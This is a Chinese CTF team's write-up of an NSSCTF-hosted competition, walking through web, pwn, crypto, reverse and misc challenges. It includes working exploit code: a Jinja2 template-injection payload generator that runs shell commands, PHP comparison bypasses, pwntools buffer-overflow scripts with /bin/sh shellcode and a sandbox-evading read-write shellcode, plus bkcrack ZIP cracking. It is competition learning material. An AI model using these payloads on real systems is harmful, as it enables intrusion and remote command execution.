感谢战队的每位同学,辛苦了~
Web: Nacl
、monkey777
、peakaboo
Pwn: zsNick
Crypto: Nacl
Reverse: kcldah
Misc: mochu7
、Nacl
最终成绩第17名:
文章目录
Webhate eat snakeEZ WEB受不了一点<ez_ze>问卷来力! PwnEASY PWNezshellcode真男人下120层RANDOM CryptoAbsolute_Baby_Encrytpion ReverseCheck_Your_Luckdoublegame Misc签到Matryoshkapixelartgetnopwd
Web
hate eat snake
打开界面看到是个贪吃蛇游戏,拿flag的条件是坚持60秒,玩了一下可以发现蛇会越来越快,那么肯定有个参数控制蛇的速度
然后打开右键检查查看源代码,可以发现确实存在控制蛇速度的参数:speed
window.onload = function() { new Snake('eatSnake',10,false);}var Snake = function(snakeId, speed, isAuto) { this.width = arguments[3] || 35; this.height = arguments[4] || 35; this.snakeId = snakeId || 'snake'; this.Grid = []; this.snakeGrid = []; this.foodGrid = []; this.derectkey = 39; this.goX = 0; this.goY = 0; this.speed = this.oldSpeed = speed || 10; this.stop = true, this.snakeTimer = null; this.isAuto = isAuto || false; this.init(); this.timeCounter = 0; this.startTime = 0;};
这里可以发现创建蛇的时候给了一个初始速度10,咋可以改掉,自己随机设置
this.speed = this.oldSpeed = speed ||10;
这里也可以改掉,自己随便改
然后再Ctrl + F
查找一下还有没有控制speed的地方
然后可以在 main: function() { this.speed++;}
发现自增,然后干掉自增,
然后等着玩蛇就会自动出flag,虽然可以改那个出flag的时间,但一时半会没找到就算了
EZ WEB
打开题目进入主页,右键查看源代码可以发现有注释:</src>
然后访问/src
目录
使用PUT
的方式访问路径:/super-secret-route-nobody-will-guess
就可以获取flag
受不了一点
打开题目可以看到一堆代码
<?php error_reporting(0);header("Content-type:text/html;charset=utf-8");if(isset($_POST['gdou'])&&isset($_POST['ctf'])){ $b=$_POST['ctf']; $a=$_POST['gdou']; if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){ if(isset($_COOKIE['cookie'])){ if ($_COOKIE['cookie']=='j0k3r'){ if(isset($_GET['aaa']) && isset($_GET['bbb'])){ $aaa=$_GET['aaa']; $bbb=$_GET['bbb']; if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){ $give = 'cancanwordflag'; $get ='hacker!'; if(!isset($_GET['flag']) && !isset($_POST['flag'])){ die($give); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ die($get); } foreach ($_POST as $key => $value) { $$key = $value; } foreach ($_GET as $key => $value) { $$key = $$value; } echo $f1ag; }else{ echo "洗洗睡吧"; } }else{ echo "行不行啊细狗"; } } } else { echo '菜菜'; } }else{ echo "就这?"; }}else{ echo "别来沾边";}?>别来沾边
一步一步分析,首先需要POST传入参数:ctf、gdou
然后需要过一个md5强碰撞
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){}
绕过方法很简单,以数组方法传入gdou和ctf的值,
后面md5因为无法解析数组内容,然后会读入一个字符串array
,然后两个参数md5值就相等了
接着还需要再请求头中添加cookie参数,它的值为:j0k3r
接着需要传入参数:aaa、bbb,然后绕过以下代码
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){}
这个是字符串的弱比较,因为== 在进行比较的时候,会先将字符串类型转化成相同,再比较
比如如下案例
所以参数的值就可以写:aaa=114514,bbb=114514a
最后这个串代码绕过方式很简单,POST、GET各传入一个参数就可以了,看着那么多判断,但实际上只要传入了参数就能过,有没有值都不重要
if(!isset($_GET['flag']) && !isset($_POST['flag'])){die($give);}if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){die($get);}
最终结果
<ez_ze>
模板注入
参考:https://blog.csdn.net/weixin_52635170/article/details/129856818
附脚本,需要修改url地址
from typing import Listimport requestsurl = "http://node6.anna.nssctf.cn:28298/get_flag"def build_number(num: int) -> str:result: List[str] = []index: int = 0while num > 0:n: int = num % 10result.append(f"({num2var(n)}{'*ten'*index})")num //= 10index += 1return "+".join(result)num2var_dict = {0: "zero",1: "one",2: "two",3: "three",4: "four",5: "five",6: "six",7: "seven",8: "eight",9: "nine"}def num2var(num: int) -> str:if abs(num) >= 10:raise Exception("no way")return num2var_dict[num]def build_payload(command: str) -> str:return """{% set one=(a,)|length %}{% set zero=one-one %}{% set two=one+one %}{% set three=one+two %}{% set four=two*two %}{% set five=three+two %}{% set six=three*two %}{% set seven=one+six %}{% set eight=four*two %}{% set nine=one+eight %}{% set ten=five*two %}{% set pops=dict(p=a,op=a)|join %}{% set lo=(x|reject|string|list)|attr(pops)(""" + build_number(24) + """)%}{% set init=(lo,lo,dict(ini=a,t=a)|join,lo,lo)|join %}{% set cc=(lo,lo,dict(glo=a,bals=a)|join,lo,lo)|join %}{% set ccc=(lo,lo,dict(get=a,item=a)|join,lo,lo)|join %}{% set cccc=(lo,lo,dict(buil=a,tins=a)|join,lo,lo)|join %}{% set evas=dict(ev=a,al=a)|join %}{% set chs=dict(ch=a,r=a)|join %}{% set chr=a|attr(init)|attr(cc)|attr(ccc)(cccc)|attr(ccc)(chs)%}{% set eval=a|attr(init)|attr(cc)|attr(ccc)(cccc)|attr(ccc)(evas) %}{% print(eval((""" + ",".join([f"chr({build_number(ord(c))})" for c in f"__import__('os').popen('{command}').read()"]) + """)|join)) %}"""def run(command: str) -> str:payload = build_payload(command)response = requests.post(url, data={"name": payload})print(payload)print(response.text)#return re.findall(f"h3>(.*?)</h3", response.text, re.S)[0].strip()c = 'cat /flag'print(run(c))
问卷来力!
无法复制,F12源码查看
Pwn
EASY PWN
1.canary关闭 2.存在get函数溢出漏洞 3.程序提供了print_flag函数给flag
综合上述3点 符合ROP中的ret2text攻击手法的前提条件
from pwn import *context.arch='amd64'# 连接远程io = remote("node5.anna.nssctf.cn", 28958)# 获取程序中的print_flag函数地址elf = ELF("./easypwn")print_flag = elf.sym['print_flag']#get函数溢出 进行ret2text攻击payload = b'a'*(0x1f+8)+p64(print_flag)#发送攻击io.sendafter('Password:',payload)#接收flagio.recvall()io.interactive()#补充: 不知为何 用pwntools连接会有问题 直接在nc链接程序的时候 把paylaod内容手动输入
ezshellcode
1.写入shellcode
2.栈溢出跳转执行 写入的shellcode
# coding:utf-8from pwn import *context.arch='amd64'# 连接远程io = remote("node5.anna.nssctf.cn", 28010)# 输入长度有限 pwntools生成的shellcode不够写入 找了个短的shellcodeshellcode=b'\x48\x31\xC0\x6A\x3B\x58\x48\x31\xFF\x48\xBF\x2F\x62\x69\x6E\x2F\x73\x68\x00\x57\x54\x5F\x48\x31\xF6\x48\x31\xD2\x0F\x05'io.sendafter("Please.\n",shellcode)# ret2text:跳转执行上一步写入的shellcodepayload = b'a'*(0xA+8)+p64(0x6010A0)io.sendafter("start!\n",payload)io.interactive()
真男人下120层
题目采取了srand 和 rand函数 制造随机数
可以利用ctypes库 输入相同的seed种子值 就可以获得和题目相同的随机数了
打满120次随机数猜测 就可以得到程序给出的flag
from pwn import *from ctypes import * context.arch='amd64'# 连接远程io = remote("node4.anna.nssctf.cn", 28850)# 加载rand函数的所在函数库libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')#模仿程序 设置同样的srand函数libc.srand(libc.time(0))libc.srand((libc.rand()% 3) - 0x5AB9D26E)#猜对120次随机数 程序会给出flagfor i in range(120): io.sendlineafter("Floor ",str((libc.rand()%4)+1))io.interactive()
RANDOM
开启了sandbox(): 1.shellcode不可以提权 2.只允许open write read功能
3.shellcode的写入长度受限
综合上述3点 运用orw_shellcode 让shellcode读取输出flag
1.用ctypes获取 linux生成的随机函数 跳转vulnerable函数
2.开启了沙箱保护 不能shellcode提权 只能orw_shellcode读取flag
3.由于写入长度不够 分两次写 jmp rsp劫持返回地址 继续向下运行
4.data_addr是用pwndbg的vmmap指令 找到的可读可写可执行 地址段落
5.jmp rsp指令的地址 程序里的haha()函数中有给出
from pwn import *from ctypes import * context.arch='amd64'# 连接远程io = remote("node6.anna.nssctf.cn",28969)# 加载rand函数的所在函数库libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')libc.srand(libc.time(0))#设置srand函数jmp_sp = 0x40094Edata_addr = 0x601000#通过随机数验证 程序会跳转到vulnerable函数io.sendlineafter("num:",str(libc.rand()%50))"""利用 jmp_sp + asm 的攻击方式 让sp指针跳回变量地址 执行shellcode: 在data_addr 0x601000 写入orw_shellcode后 并跳转执行data_addr 0x12300的orw_shellcode"""payload=asm(shellcraft.read(0,data_addr,0x100))#调用read函数 在data_addr 0x601000处写入 orw_shellcode内容payload+=asm('mov rax,0x601000;call rax')#并且call ax寄存器 调用执行 data_addr 0x601000处的orw_shellcodepayload=payload.ljust(0x28,b'\x00')#打满变量空间 和 rbp寄存器的字节payload+=p64(jmp_sp)#返回地址写成jmp_esp,继续运行当前sp后续指令 填写别的返回地址 就无法控制程序后面的执行流程了payload+=asm('sub rsp,0x30;jmp rsp')#此时sp已经离shellcode地址偏移0x30,这里把sp挪回到shellcode地址 并跳转到shellcodeio.sendlineafter("your door\n",payload)"""orw_shellcode执行的内容:打开本地的flag文件 把flag文件内容写入到 data_addr+0x100把输出data_addr+0x100的flag文件内容"""orw_shellcode = shellcraft.open("./flag")#打开本地的flag文件orw_shellcode += shellcraft.read(3, data_addr+0x100, 0x50)#文件描述符3:其它打开的文件 flag内容写入到data_addr+0x100orw_shellcode += shellcraft.write(1, data_addr+0x100,0x50)#文件描述符1:输出 地址data_addr+0x100存储的flag内容io.send(asm(orw_shellcode))io.interactive()
Crypto
Absolute_Baby_Encrytpion
let messagetoEncrypt = prompt("Enter a string: ").toLowerCase();let charArray = messagetoEncrypt.split("");let encryptedString = "";let hasInvalidCharacter = false;for (let i = 0; i < charArray.length; i++) { switch (charArray[i]) { case 'a': encryptedString = encryptedString.concat('!') break; case 'b': encryptedString = encryptedString.concat('1') break; case 'c': encryptedString = encryptedString.concat(')') break; case 'd': encryptedString = encryptedString.concat('v') break; case 'e': encryptedString = encryptedString.concat('m') break; case 'f': encryptedString = encryptedString.concat('+') break; case 'g': encryptedString = encryptedString.concat('q') break; case 'h': encryptedString = encryptedString.concat('0') break; case 'i': encryptedString = encryptedString.concat('c') break; case 'j': encryptedString = encryptedString.concat(']') break; case 'k': encryptedString = encryptedString.concat('(') break; case 'l': encryptedString = encryptedString.concat('}') break; case 'm': encryptedString = encryptedString.concat('[') break; case 'n': encryptedString = encryptedString.concat('8') break; case 'o': encryptedString = encryptedString.concat('5') break; case 'p': encryptedString = encryptedString.concat('$') break; case 'q': encryptedString = encryptedString.concat('*') break; case 'r': encryptedString = encryptedString.concat('i') break; case 's': encryptedString = encryptedString.concat('>') break; case 't': encryptedString = encryptedString.concat('#') break; case 'u': encryptedString = encryptedString.concat('<') break; case 'v': encryptedString = encryptedString.concat('?') break; case 'w': encryptedString = encryptedString.concat('o') break; case 'x': encryptedString = encryptedString.concat('^') break; case 'y': encryptedString = encryptedString.concat('-') break; case 'z': encryptedString = encryptedString.concat('_') break; case '0': encryptedString = encryptedString.concat('h') break; case '1': encryptedString = encryptedString.concat('w') break; case '2': encryptedString = encryptedString.concat('e') break; case '3': encryptedString = encryptedString.concat('9') break; case '4': encryptedString = encryptedString.concat('g') break; case '5': encryptedString = encryptedString.concat('z') break; case '6': encryptedString = encryptedString.concat('d') break; case '7': encryptedString = encryptedString.concat('~') break; case '8': encryptedString = encryptedString.concat('=') break; case '9': encryptedString = encryptedString.concat('x') break; case '!': encryptedString = encryptedString.concat('j') break; case '@': encryptedString = encryptedString.concat(':') break; case '#': encryptedString = encryptedString.concat('4') break; case '$': encryptedString = encryptedString.concat('b') break; case '%': encryptedString = encryptedString.concat('`') break; case '^': encryptedString = encryptedString.concat('l') break; case '&': encryptedString = encryptedString.concat('3') break; case '*': encryptedString = encryptedString.concat('t') break; case '(': encryptedString = encryptedString.concat('6') break; case ')': encryptedString = encryptedString.concat('s') break; case '_': encryptedString = encryptedString.concat('n') break; case '+': encryptedString = encryptedString.concat(';') break; case '-': encryptedString = encryptedString.concat('\'') break; case '=': encryptedString = encryptedString.concat('r') break; case '`': encryptedString = encryptedString.concat('k') break; case '~': encryptedString = encryptedString.concat('p') break; case '{': encryptedString = encryptedString.concat('\"') break; case '}': encryptedString = encryptedString.concat('&') break; case '[': encryptedString = encryptedString.concat('/') break; case ']': encryptedString = encryptedString.concat('\\') break; case '|': encryptedString = encryptedString.concat('2') break; case ':': encryptedString = encryptedString.concat('.') break; case ';': encryptedString = encryptedString.concat('%') break; case '\"': encryptedString = encryptedString.concat('|') break; case '\'': encryptedString = encryptedString.concat(',') break; case '<': encryptedString = encryptedString.concat('@') break; case '>': encryptedString = encryptedString.concat('{') break; case ',': encryptedString = encryptedString.concat('u') break; case '.': encryptedString = encryptedString.concat('7') break; case '?': encryptedString = encryptedString.concat('y') break; case '/': encryptedString = encryptedString.concat('a') break; default: hasInvalidCharacter = true; }}if (hasInvalidCharacter) { encryptedString = "Invalid String!";} else { console.log(`Your encoded string is ${encryptedString}`);}
就是根据这个js脚本反推,然后写在字典里头
import base64# +}!q")hiim)#}-nvm)i-$#mvn#0mnbm)im#n+}!qnm8)i-$#mvnoc#0nz<$9inm!>-n1:1-nm8)i-$~c58n!}qhij#0[noic##m8nc8n?!8c}w!n]>&coded_string="K30hcSIpaGlpbSkjfS1udm0paS0kI212biMwbW5ibSlpbSNuK30hcW5tOClpLSQjbXZub2MjMG56PCQ5aW5tIT4tbjE6MS1ubTgpaS0kfmM1OG4hfXFoaWojMFtub2ljIyNtOG5jOG4/IThjfXchbl0+Jg=="encrypted_string = base64.b64decode(coded_string).decode('utf-8')dict = {'a':'!','b':'1','c':')','d':'v','e':'m','f':'+','g':'q','h':'0','i':'c','j':']','k':'(','l':'}','m':'[','n':'8','o':'5','p':'$','q':'*','r':'i','s':'>','t':'#','u':'<','v':'?','w':'o','x':'^','y':'-','z':'_','0':'h','1':'w','2':'e','3':'9','4':'g','5':'z','6':'d','7':'~','8':'=','9':'x','!':'j','@':':','#':'4','$':'b','%':'`','^':'l','&':'3','*':'t','(':'6',')':'s','_':'n','+':';','-':'\'','=':'r','`':'k','~':'p','{':'\"','}':'&','[':'/',']':'\\','|':'2',':':'.',';':'%','\"':'|','\'':',','<':'@','>':'{',',':'u','.':'7','?':'y','/':'a'}inverted_dict = {value: key for key, value in dict.items()}result = ''for char in encrypted_string: if char in inverted_dict: result += inverted_dict[char] else: result += charprint(result)
Reverse
Check_Your_Luck
c++代码直接使用了一个方程组,使用python的sympy模块直接求解
// 使用多项式void flag_checker(int v,int w, int x, int y, int z){ if ((v * 23 + w * -32 + x * 98 + y * 55 + z * 90 == 333322) && (v * 123 + w * -322 + x * 68 + y * 67 + z * 32 == 707724) && (v * 266 + w * -34 + x * 43 + y * 8 + z * 32 == 1272529) && (v * 343 + w * -352 + x * 58 + y * 65 + z * 5 == 1672457) && (v * 231 + w * -321 + x * 938 + y * 555 + z * 970 == 3372367)){ cout << "Congratulations, Here is your flag:\n"; cout << "flag{" << v << "_" << w << "_" << x << "_" << y << "_" << z << "}" << endl; } else{ cout << "\nSeems your luck is not in favor right now!\nBetter luck next time!" << endl; }}
没啥操作,脚本一跑出结果
from sympy.solvers import solvefrom sympy import Symbolprint(chr(114))# 定义变量v = Symbol('v')w = Symbol('w')x = Symbol('x')y = Symbol('y')z = Symbol('z')# 定义方程组eq1 = v*23 + w*(-32) + x*98 + y*55 + z*90 - 333322eq2 = v*123 + w*(-322) + x*68 + y*67 + z*32 - 707724eq3 = v*266 + w*(-34) + x*43 + y*8 + z*32 - 1272529eq4 = v*343 + w*(-352) + x*58 + y*65 + z*5 - 1672457eq5 = v*231 + w*(-321) + x*938 + y*555 + z*970 - 3372367# 求解方程组sol = solve((eq1, eq2, eq3, eq4, eq5), (v, w, x, y, z))# 输出结果print(sol)
doublegame
使用exeinfope查看,64位,无壳
运行,发现是个贪吃蛇,
直接打开ida,使用 shift + f12,搜索 GAME OVER,发现有很多,一个一个的看
直接 按双击,然后点击tab找到调用处,然后开始代码分析
分析后有用的代码就是中间的代码块
if ( dword_140021E60[42 * a2 + 42 * dword_140020178 + a1 + dword_140020174] == 2 ) { ++dword_140020170; dword_140022CD0 += 10; sub_1400111A9(7i64); sub_14001130C(0i64, 22i64); sub_1400111F9(&unk_14001D220); sub_14001105A(); } else if ( dword_140021E60[42 * a2 + 42 * dword_140020178 + a1 + dword_140020174] == 1 || dword_140021E60[42 * a2 + 42 * dword_140020178 + a1 + dword_140020174] == 4 ) { Sleep(0x3E8u); system("cls"); sub_1400111A9(7i64); sub_14001130C(28i64, 8i64); // 分数要大于100 if ( dword_140022CD0 <= 100 ) { if ( dword_140022CD0 <= dword_14002017C ) sub_1400111F9(&unk_14001D280); else sub_1400111F9(&unk_14001D0B8); } else { sub_1400111DB(); // 分数大于 13371337时进入第二关 if ( dword_140022CD0 > 13371337 ) // 游戏第二关 sub_14001136B(); sub_1400110E6(); } sub_14001130C(28i64, 11i64); sub_1400111F9("GAME OVER"); while ( 1 ) { while ( 1 ) { sub_14001130C(28i64, 14i64); sub_1400111F9(&unk_14001D320); sub_1400110BE("%c", v7); if ( v7[0] != 121 && v7[0] != 89 ) break; system("cls"); sub_1400112EE(); } if ( v7[0] == 110 || v7[0] == 78 ) { sub_14001130C(28i64, 16i64); exit(0); } sub_14001130C(28i64, 16i64); sub_1400111F9(&unk_14001D3A0); } }
一直在函数名那里按 x , 找到这个代码的调用处,动调得知贪吃蛇每走一步,都会去判断上面代码的if,需要通过贪吃蛇才能进入第二关
打开第二关,可以看到是个迷宫题
代码分析
printf("path\n");v23 = 0;v24 = 0;// 当前所在纵坐标v15 = 15;// 当前所在横坐标v16 = 0;// 出口点纵坐标v17 = 7;// 出口点横坐标v18 = 20;// 画迷宫for ( j = 0; j <= 20; ++j ) puts(&Buffer[22 * j]);sub_1400111F9("Please to save the cat!\n");// 循环判断是否出了迷宫 while ( v15 != v17 || v16 != v18 ) { // 获取当前输入的字符 v22 = getchar(); switch ( v22 ) { case 's': if ( Buffer[22 * v15 + 22 + v16] != 48 ) { Buffer[22 * v15++ + v16] = 32; Buffer[22 * v15 + v16] = 64; } break; case 'w': if ( Buffer[22 * v15 - 22 + v16] != 48 ) { Buffer[22 * v15-- + v16] = 32; Buffer[22 * v15 + v16] = 64; } break; case 'a': if ( Buffer[22 * v15 - 1 + v16] != 48 ) { // 如果碰到了‘猫’(*)所在 if ( Buffer[22 * v15 - 1 + v16] == 42 ) v7[20] = 48; Buffer[22 * v15 + v16--] = 32; Buffer[22 * v15 + v16] = 64; } break; default: if ( v22 == 100 && Buffer[22 * v15 + 1 + v16] != 48 ) { Buffer[22 * v15 + v16++] = 32; Buffer[22 * v15 + v16] = 64; } break; } // 删除迷宫 system("cls"); for ( j = 0; j <= 20; ++j ) puts(&Buffer[22 * j]); puts(&v19[25 * v23]); // 如果碰到了猫 if ( v7[20] == 48 ) { // 使用第一关的分数与 7620异或 v24 = sub_140011433(0); // 判断输入的第一关的分数是否正确 if ( v24 == 13376013 ) { // 重新初始化当前所在位置以及将迷宫中 ‘猫’的位置变为 ‘ ’ v23 = 1; v7[20] = 32; Buffer[22 * v15 + v16] = 32; v15 = 15; v16 = 0; v11[0] = 64; ++v23; } else { sub_1400111F9("error"); } } }
分析完后,可以知道第一关需要的分数是 13371337
所以直接使用 ida patch掉第一关,使用 tab进入对应的汇编代码,然后将 跳转改为相反的即可,jle -> jge
修改完后得到迷宫
0000000000000000000000 0 0 0 0 0 00 0 0 00000 00000 0 00 0 0 00 000 000 0 000 0 0 00 0 0 0 0 0 0 00 0 0 00000 000 000 00 0 0 0 0 0 0 000 0 0 000 0 0 0 00 0 0 0 0 0 0 0 00 00000 000 000 0 0 00 0 0 0 0000 0 0 0 000 0 0 0 00 0 0 0 0 0 * 0 0 0 00 0000000 0 000 00000@ 0 0 0 00 0 0 0 0 000000000000 0 0 0 0000 0 00000 0 000 0000 0 0 0 0000000000000000000000
走的路段为: dddssssddwwwwddssddwwwwwwddddssaassddddwwwwddwwwwddd
结束后根据提示: HZCTF{md5(path)+score}
使用在线 md5加密网站,得到flag: nssctf{811173b05afff098b4e0757962127eac13371337}
Misc
签到
长亭珂兰寺公众号回复签到
Matryoshka
压缩包套娃,密码文件给了,是数字英文单词和加、减、乘、取模的,替换下,然后运算下得到密码
注意:这里密码文件中的运算逻辑比较扯,是不按照常规数学逻辑先乘除再加减,而是固定从左往右运算
然后脚本简单处理即可:
import zipfileimport osimport redef getPassword(next_pwd_file):with open(next_pwd_file, "r") as f:data = f.read().strip()replace_list = [["zero", "0"], ["one", "1"], ["two", "2"], ["three", "3"],["four", "4"], ["five", "5"], ["six", "6"], ["seven", "7"],["eight", "8"], ["nine", "9"], ["plus", "+"], ["times", "*"],["minus", "-"], ["mod", "%"]]for rep_list in replace_list:data = data.replace(rep_list[0], rep_list[1])nums = re.findall(r"\d{1,}", data)valid_nums = []for num in nums:valid_nums.append(str(int(num)))for i in range(len(nums)):data = data.replace(nums[i], valid_nums[i])list1 = ["+", "-", "*", "%"]count_res = 0for l in list1:counts = data.count(l)count_res += countsdata = "(" * count_res + datareplace_list_3 = [["+", ")+"], ["-", ")-"], ["*", ")*"], ["%", ")%"]]for rep_list in replace_list_3:data = data.replace(rep_list[0], rep_list[1])password = abs(eval(data))return passworddef decompressZip(next_zip, password, next_pwd_file):zf = zipfile.ZipFile(next_zip, "r")name_list = zf.namelist()zf.extractall(path='.', pwd=password.encode('utf-8'))zf.close() # 关闭压缩包文件句柄os.remove(next_pwd_file)os.remove(next_zip)next_pwd_file, next_zip = name_list[0], name_list[1]return next_pwd_file, next_zipif __name__ == '__main__':next_pwd_file = "password1000.txt"next_zip = "Matryoshka1000.zip"while True:try:password = str(getPassword(next_pwd_file))next_pwd_file, next_zip = decompressZip(next_zip, password, next_pwd_file)except Exception as ex:print(ex)break
刚开始比较慢,越到后面,压缩包越小,解压速度越快。稍微等一下,没多久的
pixelart
图中放了一个缩略图,PS量一下,每个像素宽高都距离12px
from PIL import Imageimg = Image.open('arcaea.png')w = img.widthh = img.heightimg_obj = Image.new("RGB",(w//12,h//12))for x in range(w//12): for y in range(h//12): (r,g,b)=img.getpixel((x*12,y*12)) img_obj.putpixel((x,y),(r,g,b))img_obj.save('ok.png')
得到的图片正确
真的flag在LSB中可以看到
NSSCTF{J3st_2_cats_battling}
getnopwd
明文攻击
echo -n "00004D3C2B1A01000000FFFFFFFFFFFFFFFF" | xxd -r -ps > pcap_plain
PS D:\Tools\Misc\bkcrack-1.5.0-win64> .\bkcrack.exe -C .\getnopwd.zip -c final.pcapng -p .\pcap_plain -o 6bkcrack 1.5.0 - 2022-07-07[14:28:30] Z reduction using 10 bytes of known plaintext100.0 % (10 / 10)[14:28:30] Attack on 648601 Z values at index 13Keys: 3290bc3d 27d2d1d8 dfd4c1ae9.1 % (58992 / 648601)[14:29:18] Keys3290bc3d 27d2d1d8 dfd4c1aePS D:\Tools\Misc\bkcrack-1.5.0-win64> .\bkcrack.exe -C .\getnopwd.zip -c final.pcapng -k 3290bc3d 27d2d1d8 dfd4c1ae -d final.pcapngbkcrack 1.5.0 - 2022-07-07[14:38:05] Writing deciphered data final.pcapng (maybe compressed)Wrote deciphered data.PS D:\Tools\Misc\bkcrack-1.5.0-win64> .\bkcrack.exe -C .\getnopwd.zip -c DO_NO_BE_MISDIRECTED -k 3290bc3d 27d2d1d8 dfd4c1ae -d DO_NO_BE_MISDIRECTEDbkcrack 1.5.0 - 2022-07-07[14:38:43] Writing deciphered data DO_NO_BE_MISDIRECTED (maybe compressed)Wrote deciphered data.
识别一下是啥玩意
root@mochu7-pc:/mnt/d/Tools/Misc/bkcrack-1.5.0-win64# file DO_NO_BE_MISDIRECTEDDO_NO_BE_MISDIRECTED: Zip archive data, made by v4.5, extract using at least v2.0, last modified Mon Jan 26 00:44:48 1970, uncompressed size 1312, method=deflate
修改后缀为.zip
,解压,看起来是docx
文件,直接查看document.xml
一开始也不知道是什么流量,查了下这两个标识
发现是数位板流量,找到了一道同样是数位板流量的题目:https://blogs.tunelko.com/2017/02/05/bitsctf-tom-and-jerry-50-points/
首先提取数位板的数据
tshark -r final.pcapng -T fields -Y "usb.transfer_type == 0x01 and frame.len==37" -e "usb.capdata" > usbdata.txt
然后根据上面的链接,知道该数据的存储格式(小端存储)
Example: 02:f0:50:1d:72:1a:00:00:12Bytes:02:f0: -- Header50:1d: -- X72:1a: -- Y00:00: -- Pressure12 -- Suffix
with open('usbdata.txt', 'r') as f:lines = f.readlines()for line in lines:line = line.strip()x = line[4:8][2:] + line[4:8][:2]y = line[8:12][2:] + line[8:12][:2]z = line[12:16][2:]print(int(x, 16), int(y, 16), int(z, 16), sep=" ")
gnuplot
直接画
PS垂直翻转一下
NSSCTF{m1nd_3v3rything_y0u_see}